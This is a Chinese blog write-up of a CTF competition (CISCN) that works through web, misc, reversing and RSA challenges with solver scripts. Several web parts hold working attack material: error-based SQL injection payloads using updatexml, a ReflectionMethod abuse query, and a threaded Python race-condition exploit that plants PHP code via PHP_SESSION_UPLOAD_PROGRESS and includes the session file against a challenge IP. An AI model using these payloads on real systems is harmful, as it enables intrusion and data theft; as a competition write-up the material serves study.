总得分:3400

总排名:203

赛区排名:21

第一次认真参加正式的CTF,24+3小时的脑血栓比赛时长,收获还是很多的。

Sqlmap -r /root/wordlist/table.txt -p uname -D security --tables
Sqlmap直接跑出两张表(flag, user)
单跑不出列名
回去找到sqlmap的payload
uname=admin\') RLIKE (SELECT (CASE WHEN (7431=7431) THEN 0x61646d696e ELSE 0x28 END))-- WQuk&passwd=admin&Submit=%E7%99%BB%E5%BD%95
修改payload
Admin’)||updatexml(1,((select * from (select * from flag as a join flag as b ) as c limit 1,1)),1)%23
爆出第一个列id
Admin’)||updatexml(1,((select * from (select * from flag as a join flag as b using(id)) as c limit 1,1)),1)%23
爆出第二个列no
Admin’)||updatexml(1,((select * from (select * from flag as a join flag as b using(id,no)) as c limit 1,1)),1)%23
爆出最后一列fec74227-42d6-4636-a0d4-92f8a913vfd6
最后查询出flag

扫描找到.index.php.swo,得到index.php源码。

  1. 本题目没有其他代码了噢,就只有这一个文件,虽然你看到的不完全,但是你觉得我会把flag藏在哪里呢,仔细想想文件里面还有什么?
  2. <?php
  3. class User
  4. {
  5. private static $c = 0;
  6. function a()
  7. {
  8. return ++self::$c;
  9. }
  10. function b()
  11. {
  12. return ++self::$c;
  13. }
  14. function c()
  15. {
  16. return ++self::$c;
  17. }
  18. function d()
  19. {
  20. return ++self::$c;
  21. }
  22. function e()
  23. {
  24. return ++self::$c;
  25. }
  26. function f()
  27. {
  28. return ++self::$c;
  29. }
  30. function g()
  31. {
  32. return ++self::$c;
  33. }
  34. function h()
  35. {
  36. return ++self::$c;
  37. }
  38. function i()
  39. {
  40. return ++self::$c;
  41. }
  42. function j()
  43. {
  44. return ++self::$c;
  45. }
  46. function k()
  47. {
  48. return ++self::$c;
  49. }
  50. function l()
  51. {
  52. return ++self::$c;
  53. }
  54. function m()
  55. {
  56. return ++self::$c;
  57. }
  58. function n()
  59. {
  60. return ++self::$c;
  61. }
  62. function o()
  63. {
  64. return ++self::$c;
  65. }
  66. function p()
  67. {
  68. return ++self::$c;
  69. }
  70. function q()
  71. {
  72. return ++self::$c;
  73. }
  74. function r()
  75. {
  76. return ++self::$c;
  77. }
  78. function s()
  79. {
  80. return ++self::$c;
  81. }
  82. function t()
  83. {
  84. return ++self::$c;
  85. }
  86. }
  87. $rc=$_GET["rc"];
  88. $rb=$_GET["rb"];
  89. $ra=$_GET["ra"];
  90. $rd=$_GET["rd"];
  91. $method= new $rc($ra, $rb);
  92. var_dump($method->$rd());

构造ReflectionMethod类遍历a-t方法的注释,payload:?ra=User&rb=a&rc=ReflectionMethod&rd=getDocComment
其中一个方法注释中包含flag。

分析流量,导出全部http对象。
在python中使用brotli解码test和secret。

  1. import brotli
  2. def extract(file_name):
  3. out = open(file_name + "_extracted", "wb")
  4. out.write(brotli.decompress(open(file_name, "rb").read()))
  5. out.close()
  6. if __name__ == \'__main__\':
  7. extract("secret")
  8. extract("test")

test为一个proto文件,内容为:

  1. syntax = "proto3";
  2. message PBResponse {
  3. int32 code = 1;
  4. int64 flag_part_convert_to_hex_plz = 2;
  5. message data {
  6. string junk_data = 2;
  7. string flag_part = 1;
  8. }
  9. repeated data dataList = 3;
  10. int32 flag_part_plz_convert_to_hex = 4;
  11. string flag_last_part = 5;
  12. }
  13. message PBRequest {
  14. string cate_id = 1;
  15. int32 page = 2;
  16. int32 pageSize = 3;
  17. }

猜测secret为PBResponse Message,使用protoc解码

  1. $ protoc --decode=PBResponse ./test_extracted < ./secret_extracted
  2. code: 200
  3. flag_part_convert_to_hex_plz: 15100450
  4. dataList {
  5. flag_part: "e2345"
  6. junk_data: "7af2c"
  7. }
  8. dataList {
  9. flag_part: "7889b0"
  10. junk_data: "82bc0"
  11. }
  12. flag_part_plz_convert_to_hex: 16453958
  13. flag_last_part: "d172a38dc"

忽略junk_data,部分提示转换字段转为hex后拼接得到flag。

导出gif全部关键帧,在最后几帧发现异常白点,ps取色为rgb(233,233,233)。

因与背景色rgb(247,247,247)过于相近,怀疑存在隐写。
使用python将所有关键帧中的(233,233,233)像素点在同等大小的画布上画成黑色,每画一下保存一张关键帧。

  1. from PIL import Image
  2. import time
  3. out = Image.new("L", (400,400), 255)
  4. for i in range(1,383):
  5. img = Image.open(f"{i}.png").convert("RGB")
  6. for x in range(img.size[0]):
  7. for y in range(img.size[1]):
  8. p = img.getpixel((x,y))
  9. if p == (233,233,233):
  10. print(i,x,y)
  11. out.putpixel((y,x), 0)
  12. out.save(f"out{i}.png")
  13. out.save(f"out{i+1}.png")

从头逐一切换图片,观察到黑色像素画出flag。

扫描找到.listing文件,内有提示you_can_seeeeeeee_me.php,打开是一个phpinfo。
phpinfo中给出了sessions目录,利用条件竞争包含session漏洞,将PHP_SESSION_UPLOAD_PROGRESS内添加php代码并上传文件执行代码。

  1. import time
  2. import requests
  3. import threading
  4. import io
  5. target = "http://124.71.231.151:25908/"
  6. session_id = "bellwind"
  7. payload = {
  8. "cf": "../../../var/lib/php/sessions/eacadbajad/sess_{}".format(session_id),
  9. "field": "?????",
  10. }
  11. event = threading.Event()
  12. def write(session: requests.Session):
  13. file = io.BytesIO(b\'A\'*1024*5)
  14. while True:
  15. event.wait()
  16. response = session.post(
  17. target,
  18. data={
  19. "PHP_SESSION_UPLOAD_PROGRESS": "<?php system(\'ls /etc > 1.txt\');?>"
  20. },
  21. cookies={
  22. "PHPSESSID": session_id
  23. },
  24. files={
  25. "file": ("verysafe.jpg", file)
  26. }
  27. )
  28. print(response.text)
  29. def read(session: requests.Session):
  30. while True:
  31. event.wait()
  32. response = session.post(
  33. target,
  34. data=payload,
  35. cookies={
  36. "PHPSESSID": session_id
  37. },
  38. )
  39. print(response.text)
  40. if __name__ == \'__main__\':
  41. sess = requests.session()
  42. for _ in range(20):
  43. threading.Thread(target=write, args=(sess,)).start()
  44. for _ in range(20):
  45. threading.Thread(target=read, args=(sess,)).start()
  46. event.set()
  47. while event.isSet():
  48. time.sleep(1)
  49. print("waiting.")

经测试无法执行命令,但函数是可以用的。这里利用scandir函数列/etc目录文件,最终在/etc/icbjgbfahe/ajgfbfeedc/bfcefdfdda/icdjcdcabj/ddadebjbab下找到fl444444gfile_get_contents函数读取得到flag。

使用golang解码pdu信息data.txt,可知前八位flag为手机号前八位。

  1. package main
  2. import (
  3. "encoding/hex"
  4. "fmt"
  5. "github.com/xlab/at/sms"
  6. "io/ioutil"
  7. "sort"
  8. "strings"
  9. "time"
  10. )
  11. func main() {
  12. data, _ := ioutil.ReadFile("data.txt")
  13. s := string(data)
  14. s1 := strings.Split(s, "\r\n")[4:]
  15. var result []*sms.Message
  16. for _, s := range s1 {
  17. if r := decode(s); r != nil {
  18. result = append(result, r)
  19. }
  20. }
  21. sorter := messageSorter(result)
  22. sort.Sort(sorter)
  23. fina := ""
  24. for _, s := range sorter {
  25. fina += s.Text
  26. }
  27. fmt.Println(fina)
  28. }
  29. func decode(msg string) *sms.Message {
  30. bs, _ := hex.DecodeString(msg)
  31. m := new(sms.Message)
  32. _, err := m.ReadFrom(bs)
  33. if err != nil {
  34. return nil
  35. }
  36. return m
  37. }
  38. type messageSorter []*sms.Message
  39. func (m messageSorter) Len() int {
  40. return len(m)
  41. }
  42. func (m messageSorter) Less(i, j int) bool {
  43. ms := []*sms.Message(m)
  44. return time.Time(ms[i].ServiceCenterTime).Before(time.Time(ms[j].ServiceCenterTime))
  45. }
  46. func (m messageSorter) Swap(i, j int) {
  47. m[i], m[j] = m[j], m[i]
  48. }

根据时间戳排序并连接数据,可发现十六进制是一张png图片。
保存为png后爆破宽高,倒转图片方向读后半段flag并连接前段flag。

下载下来是一个baby.bc文件,需要先用clang将其编译为二进制可执行文件,然后再在IDA中将其反编译然后进行进一步分析。
先对main函数进行分析

  1. int __cdecl main(int argc, const char **argv, const char **envp)
  2. {
  3. unsigned __int64 v4; // [rsp+8h] [rbp-20h]
  4. unsigned __int64 i; // [rsp+10h] [rbp-18h]
  5. size_t v6; // [rsp+18h] [rbp-10h]
  6. __isoc99_scanf(&unk_403004, input, envp);
  7. if ( (unsigned int)strlen(input) == 25 ) // 长度为25
  8. {
  9. if ( input[0] ) // 有输入
  10. {
  11. if ( (unsigned __int8)(input[0] - 48) > 5u )
  12. return 0;
  13. v6 = strlen(input);
  14. for ( i = 1LL; ; ++i )
  15. {
  16. v4 = i;
  17. if ( i >= v6 ) // 超出字符串长度
  18. break;
  19. if ( (unsigned __int8)(input[v4] - 48) > 5u )
  20. return 0;
  21. }
  22. }
  23. if ( (fill_number(input) & 1) != 0 && (docheck() & 1) != 0 )
  24. printf("CISCN{MD5(%s)}", input);
  25. }
  26. return 0;
  27. }

可以看出主要的处理逻辑是在24行if语句中的fill_numberdocheck当中,然后就要输出的格式为CISCN{MD5(%s)},接着分析这两个函数
fill_number:

  1. __int64 __fastcall fill_number(__int64 a1)
  2. {
  3. char v2; // [rsp+1h] [rbp-69h]
  4. char v3; // [rsp+11h] [rbp-59h]
  5. char v4; // [rsp+21h] [rbp-49h]
  6. char v5; // [rsp+31h] [rbp-39h]
  7. char v6; // [rsp+40h] [rbp-2Ah]
  8. char v7; // [rsp+41h] [rbp-29h]
  9. __int64 v8; // [rsp+4Ah] [rbp-20h]
  10. __int64 v9; // [rsp+52h] [rbp-18h]
  11. __int64 v10; // [rsp+5Ah] [rbp-10h]
  12. v10 = 0LL;
  13. do
  14. {
  15. v9 = v10;
  16. v8 = 5 * v10;
  17. v7 = *(_BYTE *)(a1 + 5 * v10);
  18. if ( map[5 * v10] )
  19. {
  20. v6 = 0;
  21. if ( v7 != 48 )
  22. return v6 & 1;
  23. }
  24. else
  25. {
  26. map[5 * v10] = v7 - 48;
  27. }
  28. v5 = *(_BYTE *)(a1 + v8 + 1);
  29. if ( map[5 * v10 + 1] )
  30. {
  31. v6 = 0;
  32. if ( v5 != 48 )
  33. return v6 & 1;
  34. }
  35. else
  36. {
  37. map[5 * v10 + 1] = v5 - 48;
  38. }
  39. v4 = *(_BYTE *)(a1 + v8 + 2);
  40. if ( map[5 * v10 + 2] )
  41. {
  42. v6 = 0;
  43. if ( v4 != 48 )
  44. return v6 & 1;
  45. }
  46. else
  47. {
  48. map[5 * v10 + 2] = v4 - 48;
  49. }
  50. v3 = *(_BYTE *)(a1 + v8 + 3);
  51. if ( map[5 * v10 + 3] )
  52. {
  53. v6 = 0;
  54. if ( v3 != 48 )
  55. return v6 & 1;
  56. }
  57. else
  58. {
  59. map[5 * v10 + 3] = v3 - 48;
  60. }
  61. v2 = *(_BYTE *)(a1 + v8 + 4);
  62. if ( map[5 * v10 + 4] )
  63. {
  64. v6 = 0;
  65. if ( v2 != 48 )
  66. return v6 & 1;
  67. }
  68. else
  69. {
  70. map[5 * v10 + 4] = v2 - 48;
  71. }
  72. ++v10;
  73. v6 = 1;
  74. }
  75. while ( v9 + 1 < 5 );
  76. return v6 & 1;
  77. }

fill_number的主要逻辑是5位5位取数以后,按给定的逻辑给各位的值减去48,但是由于题目没有给出输入的数,所以需要根据输出的值判定一开始的值,所以接着看check函数

  1. __int64 docheck()
  2. {
  3. char v1; // [rsp+2Eh] [rbp-9Ah]
  4. __int64 v2; // [rsp+30h] [rbp-98h]
  5. __int64 v3; // [rsp+40h] [rbp-88h]
  6. __int64 v4; // [rsp+50h] [rbp-78h]
  7. __int64 v5; // [rsp+58h] [rbp-70h]
  8. char *v6; // [rsp+68h] [rbp-60h]
  9. __int64 v7; // [rsp+70h] [rbp-58h]
  10. char v8; // [rsp+7Fh] [rbp-49h]
  11. char *v9; // [rsp+88h] [rbp-40h]
  12. __int64 v10; // [rsp+90h] [rbp-38h]
  13. __int64 v11; // [rsp+98h] [rbp-30h]
  14. __int64 v12; // [rsp+A8h] [rbp-20h]
  15. char v13[6]; // [rsp+BCh] [rbp-Ch] BYREF
  16. char v14[6]; // [rsp+C2h] [rbp-6h] BYREF
  17. v12 = 0LL;
  18. do
  19. {
  20. v10 = v12;
  21. memset(v14, 0, sizeof(v14));
  22. v9 = &v14[(unsigned __int8)map[5 * v12]];
  23. if ( *v9
  24. || (*v9 = 1, v14[(unsigned __int8)map[5 * v12 + 1]])
  25. || (v14[(unsigned __int8)map[5 * v12 + 1]] = 1, v14[(unsigned __int8)map[5 * v12 + 2]])
  26. || (v14[(unsigned __int8)map[5 * v12 + 2]] = 1, v14[(unsigned __int8)map[5 * v12 + 3]])
  27. || (v14[(unsigned __int8)map[5 * v12 + 3]] = 1, v14[(unsigned __int8)map[5 * v12 + 4]]) )
  28. {
  29. v8 = 0;
  30. return v8 & 1;
  31. }
  32. ++v12;
  33. }
  34. while ( v10 + 1 < 5 );
  35. v11 = 0LL;
  36. while ( 1 )
  37. {
  38. v7 = v11;
  39. memset(v13, 0, sizeof(v13));
  40. v6 = &v13[(unsigned __int8)map[v11]];
  41. if ( *v6 )
  42. break;
  43. *v6 = 1;
  44. if ( v13[(unsigned __int8)byte_405055[v11]] )
  45. break;
  46. v13[(unsigned __int8)byte_405055[v11]] = 1;
  47. if ( v13[(unsigned __int8)byte_40505A[v11]] )
  48. break;
  49. v13[(unsigned __int8)byte_40505A[v11]] = 1;
  50. if ( v13[(unsigned __int8)byte_40505F[v11]] )
  51. break;
  52. v13[(unsigned __int8)byte_40505F[v11]] = 1;
  53. if ( v13[(unsigned __int8)byte_405064[v11]] )
  54. break;
  55. ++v11;
  56. if ( v7 + 1 >= 5 )
  57. {
  58. v5 = 0LL;
  59. while ( 1 )
  60. {
  61. v4 = v5;
  62. if ( row[4 * v5] == 1 )
  63. {
  64. if ( (unsigned __int8)map[5 * v5] < (unsigned __int8)map[5 * v5 + 1] )
  65. goto LABEL_27;
  66. }
  67. else if ( row[4 * v5] == 2 && (unsigned __int8)map[5 * v5] > (unsigned __int8)map[5 * v5 + 1] )
  68. {
  69. LABEL_27:
  70. v8 = 0;
  71. return v8 & 1;
  72. }
  73. if ( byte_405071[4 * v5] == 1 )
  74. {
  75. if ( (unsigned __int8)map[5 * v5 + 1] < (unsigned __int8)map[5 * v5 + 2] )
  76. goto LABEL_27;
  77. }
  78. else if ( byte_405071[4 * v5] == 2 && (unsigned __int8)map[5 * v5 + 1] > (unsigned __int8)map[5 * v5 + 2] )
  79. {
  80. goto LABEL_27;
  81. }
  82. if ( byte_405072[4 * v5] == 1 )
  83. {
  84. if ( (unsigned __int8)map[5 * v5 + 2] < (unsigned __int8)map[5 * v5 + 3] )
  85. goto LABEL_27;
  86. }
  87. else if ( byte_405072[4 * v5] == 2 && (unsigned __int8)map[5 * v5 + 2] > (unsigned __int8)map[5 * v5 + 3] )
  88. {
  89. goto LABEL_27;
  90. }
  91. if ( byte_405073[4 * v5] == 1 )
  92. {
  93. if ( (unsigned __int8)map[5 * v5 + 3] < (unsigned __int8)map[5 * v5 + 4] )
  94. goto LABEL_27;
  95. }
  96. else if ( byte_405073[4 * v5] == 2 && (unsigned __int8)map[5 * v5 + 3] > (unsigned __int8)map[5 * v5 + 4] )
  97. {
  98. goto LABEL_27;
  99. }
  100. ++v5;
  101. if ( v4 + 1 >= 5 )
  102. {
  103. v3 = 0LL;
  104. while ( 1 )
  105. {
  106. v2 = v3 + 1;
  107. if ( col[5 * v3] == 1 )
  108. {
  109. v1 = 0;
  110. if ( (unsigned __int8)map[5 * v3] > (unsigned __int8)map[5 * v2] )
  111. goto LABEL_26;
  112. }
  113. else if ( col[5 * v3] == 2 )
  114. {
  115. v1 = 0;
  116. if ( (unsigned __int8)map[5 * v3] < (unsigned __int8)map[5 * v2] )
  117. {
  118. LABEL_26:
  119. v8 = v1;
  120. return v8 & 1;
  121. }
  122. }
  123. if ( byte_405091[5 * v3] == 1 )
  124. {
  125. v1 = 0;
  126. if ( (unsigned __int8)map[5 * v3 + 1] > (unsigned __int8)map[5 * v2 + 1] )
  127. goto LABEL_26;
  128. }
  129. else if ( byte_405091[5 * v3] == 2 )
  130. {
  131. v1 = 0;
  132. if ( (unsigned __int8)map[5 * v3 + 1] < (unsigned __int8)map[5 * v2 + 1] )
  133. goto LABEL_26;
  134. }
  135. if ( byte_405092[5 * v3] == 1 )
  136. {
  137. v1 = 0;
  138. if ( (unsigned __int8)map[5 * v3 + 2] > (unsigned __int8)map[5 * v2 + 2] )
  139. goto LABEL_26;
  140. }
  141. else if ( byte_405092[5 * v3] == 2 )
  142. {
  143. v1 = 0;
  144. if ( (unsigned __int8)map[5 * v3 + 2] < (unsigned __int8)map[5 * v2 + 2] )
  145. goto LABEL_26;
  146. }
  147. if ( byte_405093[5 * v3] == 1 )
  148. {
  149. v1 = 0;
  150. if ( (unsigned __int8)map[5 * v3 + 3] > (unsigned __int8)map[5 * v2 + 3] )
  151. goto LABEL_26;
  152. }
  153. else if ( byte_405093[5 * v3] == 2 )
  154. {
  155. v1 = 0;
  156. if ( (unsigned __int8)map[5 * v3 + 3] < (unsigned __int8)map[5 * v2 + 3] )
  157. goto LABEL_26;
  158. }
  159. if ( byte_405094[5 * v3] == 1 )
  160. {
  161. v1 = 0;
  162. if ( (unsigned __int8)map[5 * v3 + 4] > (unsigned __int8)map[5 * v2 + 4] )
  163. goto LABEL_26;
  164. }
  165. else if ( byte_405094[5 * v3] == 2 )
  166. {
  167. v1 = 0;
  168. if ( (unsigned __int8)map[5 * v3 + 4] < (unsigned __int8)map[5 * v2 + 4] )
  169. goto LABEL_26;
  170. }
  171. ++v3;
  172. v1 = 1;
  173. if ( v2 >= 4 )
  174. goto LABEL_26;
  175. }
  176. }
  177. }
  178. }
  179. }
  180. v8 = 0;
  181. return v8 & 1;
  182. }

这里值得说的就是这个使用goto LABEL实现的(个人认为是)for循环的if结构的语句,按照程序逻辑是一个求多元方程的过程,所以选择了python的z3库来解决,根据前面分析的逻辑逆向求解即可。

  1. import hashlib
  2. from z3 import *
  3. zy=[0x00, 0x00, 0x00, 0x01,0x01, 0x00, 0x00, 0x00,0x02, 0x00, 0x00, 0x01,0x00, 0x00, 0x00, 0x00,0x01, 0x00, 0x01, 0x00]
  4. sx=[0x00, 0x00, 0x02, 0x00,0x02,0x00, 0x00, 0x00,0x00, 0x00,0x00, 0x00,0x00, 0x01, 0x00,0x00, 0x01, 0x00, 0x00, 0x01]
  5. ts = Solver()
  6. map = [BitVec(\'s%d\' % i, 4) for i in range(25)]
  7. ts.add(map[5*2+2] == 4)
  8. ts.add(map[5*3+3] == 3)
  9. for i in map:
  10. ts.add(i > 0)
  11. ts.add(i <= 5)
  12. for a in range(5):
  13. ts.add(
  14. And(map[5 * a] != map[5 * a + 1],
  15. map[5 * a] != map[5 * a + 2],
  16. map[5 * a] != map[5 * a + 3],
  17. map[5 * a] != map[5 * a + 4],
  18. map[5 * a + 1] != map[5 * a + 2],
  19. map[5 * a + 1] != map[5 * a + 3],
  20. map[5 * a + 1] != map[5 * a + 4],
  21. map[5 * a + 2] != map[5 * a + 3],
  22. map[5 * a + 2] != map[5 * a + 4],
  23. map[5 * a + 3] != map[5 * a + 4]))
  24. for b in range(5):
  25. ts.add(
  26. And(map[5 * 0 + b] != map[5 * 1 + b],
  27. map[5 * 0 + b] != map[5 * 2 + b],
  28. map[5 * 0 + b] != map[5 * 3 + b],
  29. map[5 * 0 + b] != map[5 * 4 + b],
  30. map[5 * 1 + b] != map[5 * 2 + b],
  31. map[5 * 1 + b] != map[5 * 3 + b],
  32. map[5 * 1 + b] != map[5 * 4 + b],
  33. map[5 * 2 + b] != map[5 * 3 + b],
  34. map[5 * 2 + b] != map[5 * 4 + b],
  35. map[5 * 3 + b] != map[5 * 4 + b]
  36. ))
  37. for b in range(4):
  38. for y in range(5):
  39. ts.add(map[5 * b + y] != map[5 * (b + 1) + y])
  40. for a in range(5):
  41. for x in range(4):
  42. if zy[4 * a + x]==1:
  43. ts.add(map[5 * a + x] > map[5 * a + x + 1])
  44. elif zy[4 * a + x] == 2:
  45. ts.add(map[5 * a + x] < map[5 * a + x + 1])
  46. for b in range(4):
  47. for y in range(5):
  48. if sx[5 * b + y]==1:
  49. ts.add(map[5 * b + y] < map[5 * (b + 1) + y])
  50. elif sx[5 * b + y] == 2 :
  51. ts.add(map[5 * b + y] > map[5 * (b + 1) + y])
  52. print()
  53. while ts.check() == sat:
  54. answer = ts.model()
  55. condition = []
  56. p = []
  57. for i in map:
  58. p += [answer[i]]
  59. condition.append(i != answer[i])
  60. p[5 * 2 + 2] = 0
  61. p[5 * 3 + 3] = 0
  62. ts.add(Or(condition))
  63. p=[1, 4, 2, 5, 3, 5, 3, 1, 4, 2, 3, 5, 0, 2, 1, 2, 1, 5, 0, 4, 4, 2, 3, 1, 5]
  64. l=\'\'
  65. for i in p:
  66. l+=str(i)
  67. md = hashlib.md5()
  68. md.update(l.encode())
  69. print(\'CISCN{\'+md.hexdigest()+\'}\')

下载后发现rspag文件是robotstdio的仿真文件,在WireShark中看看流量,注意到部分流量中出现了Value[193, 65, 0],这个Value属性内的数据根据题目给的提示很有可能就是整个题目的破题点。

  1. import re
  2. from PIL import Image
  3. a = re.compile(r\'Value\.\[(\d+),(\d+),(\d+)\]\')
  4. with open(\'a\',\'r\') as f:
  5. data = f.read()
  6. data1 = a.findall(data)
  7. print(data1)
  8. img = Image.new(\'RGB\', (456, 456))
  9. for i in data1:
  10. tmp = (int(i[0]), int(i[1]))
  11. img.putpixel(tmp, 255)
  12. img.save("b.png")

得到flageasy_robo_xx,对其进行md5加密之后得到解CISCN{d4f1fb80bc11ffd722861367747c0f10}

计算p和q

  1. n = 0xa188aaaf75c79219462f0ba90b68cb6e0694b113c89b8006f3a54f6374bbc0d91fb83b15866d93fd74019e1e541edce6c06c012c76f41af516f5cc89f5f9984f4e626607632edec7139e5acc4a3f3f0dd90665d469fcf7c9226fb0fe275b6b2a776dac8d032c880eec9862fc9d6480fb9cd2ce3e65867eac7e52d4462fb501eb
  2. p = 0xda5f14bacd97f5504f39eeef22af37e8551700296843e536760cea761d334508003e01b886c0c600000000000000000000000000000000000000000000000000
  3. k = 200
  4. PR.<x> = PolynomialRing(Zmod(n))
  5. s = x + p
  6. x0 = s.small_roots(X=2^k, beta=0.4)[0]
  7. p = p+x0
  8. print("p: ", hex(int(p)))
  9. q = n/int(p)
  10. print("q: ", hex(int(q)))

解密msg

  1. import hashlib
  2. import gmpy2
  3. from Crypto.Util.number import long_to_bytes,bytes_to_long,getPrime
  4. from gmpy2 import *
  5. xx = 0
  6. yy = 2
  7. text = []
  8. m1 = bytes_to_long(text[:xx])
  9. m2 = bytes_to_long(text[xx:yy])
  10. m3 = bytes_to_long(text[yy:])
  11. e1 = 3
  12. p1 = getPrime(512)
  13. q1 = getPrime(512)
  14. N1 = p1*q1
  15. print pow(m1,e1,N1)
  16. print (e1,N1)
  17. p2 = getPrime(512)
  18. e2 = 17
  19. e3 = 65537
  20. q2 = getPrime(512)
  21. N2 = p2*q2
  22. print (e2,N2)
  23. print (e3,N2)
  24. print pow(m2,e2,N2)
  25. print pow(m2,e3,N2)
  26. p3 = getPrime(512)
  27. q3 = getPrime(512)
  28. N3 = p3*q3
  29. print pow(m3,e3,N3)
  30. print p3>>200
  31. print (e3,N3)
  32. n = 123814470394550598363280518848914546938137731026777975885846733672494493975703069760053867471836249473290828799962586855892685902902050630018312939010564945676699712246249820341712155938398068732866646422826619477180434858148938235662092482058999079105450136181685141895955574548671667320167741641072330259009L
  33. e1 = 19105765285510667553313898813498220212421177527647187802549913914263968945493144633390670605116251064550364704789358830072133349108808799075021540479815182657667763617178044110939458834654922540704196330451979349353031578518479199454480458137984734402248011464467312753683234543319955893
  34. m1 = ""
  35. m2 = ""
  36. m3 = ""
  37. for j in range(0, 130000000):
  38. a, b = gmpy2.iroot(e1 + j * n, 3)
  39. if b == 1:
  40. m = a
  41. print(\'x is {:x}\'.format(m))
  42. print("flag is {}".format(long_to_bytes(m)))
  43. m1 = long_to_bytes(m)
  44. break
  45. n2 = 111381961169589927896512557754289420474877632607334685306667977794938824018345795836303161492076539375959731633270626091498843936401996648820451019811592594528673182109109991384472979198906744569181673282663323892346854520052840694924830064546269187849702880332522636682366270177489467478933966884097824069977L
  46. e1 = 17
  47. e2 = 65537
  48. s = gcdext(e1, e2)
  49. s1 = s[1]
  50. s2 = -s[2]
  51. c2 = 91290935267458356541959327381220067466104890455391103989639822855753797805354139741959957951983943146108552762756444475545250343766798220348240377590112854890482375744876016191773471853704014735936608436210153669829454288199838827646402742554134017280213707222338496271289894681312606239512924842845268366950
  52. c1 = 54995751387258798791895413216172284653407054079765769704170763023830130981480272943338445245689293729308200574217959018462512790523622252479258419498858307898118907076773470253533344877959508766285730509067829684427375759345623701605997067135659404296663877453758701010726561824951602615501078818914410959610
  53. c2 = invert(c2, n2)
  54. m = (pow(c1,s1,n2) * pow(c2 , s2 , n2)) % n2
  55. m2 = long_to_bytes(m)
  56. p3 = 11437038763581010263116493983733546014403343859218003707512796706928880848035239990740428334091106443982769386517753703890002478698418549777553268906496423
  57. q3 = 9918033198963879798362329507637256706010562962487329742400933192721549307087332482107381554368538995776396557446746866861247191248938339640876368268930589
  58. enc3 = 59213696442373765895948702611659756779813897653022080905635545636905434038306468935283962686059037461940227618715695875589055593696352594630107082714757036815875497138523738695066811985036315624927897081153190329636864005133757096991035607918106529151451834369442313673849563635248465014289409374291381429646
  59. e3 = 65537
  60. n3 = 113432930155033263769270712825121761080813952100666693606866355917116416984149165507231925180593860836255402950358327422447359200689537217528547623691586008952619063846801829802637448874451228957635707553980210685985215887107300416969549087293746310593988908287181025770739538992559714587375763131132963783147L
  61. ph3 = (p3-1)*(q3-1)
  62. d3 = gmpy2.invert(e3,ph3)
  63. m3 = pow(enc3,d3,n3)
  64. m3 = long_to_bytes(m3)
  65. message = m1 + m2 + m3
  66. md5 = hashlib.md5()
  67. md5.update(message)
  68. print md5.hexdigest()

版权声明:本文为x0rjchen原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://www.cnblogs.com/x0rjchen/p/14965998.html